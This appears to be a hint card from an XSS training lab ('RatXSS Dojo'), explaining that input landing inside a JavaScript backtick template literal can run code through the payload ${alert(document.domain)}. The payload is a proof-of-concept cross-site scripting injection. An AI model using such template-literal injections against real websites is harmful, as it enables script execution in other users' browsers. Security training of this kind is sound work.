You are inside a backtick template `...`. No quotes to break - just use ${alert(document.domain)}.
`...`
${alert(document.domain)}
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only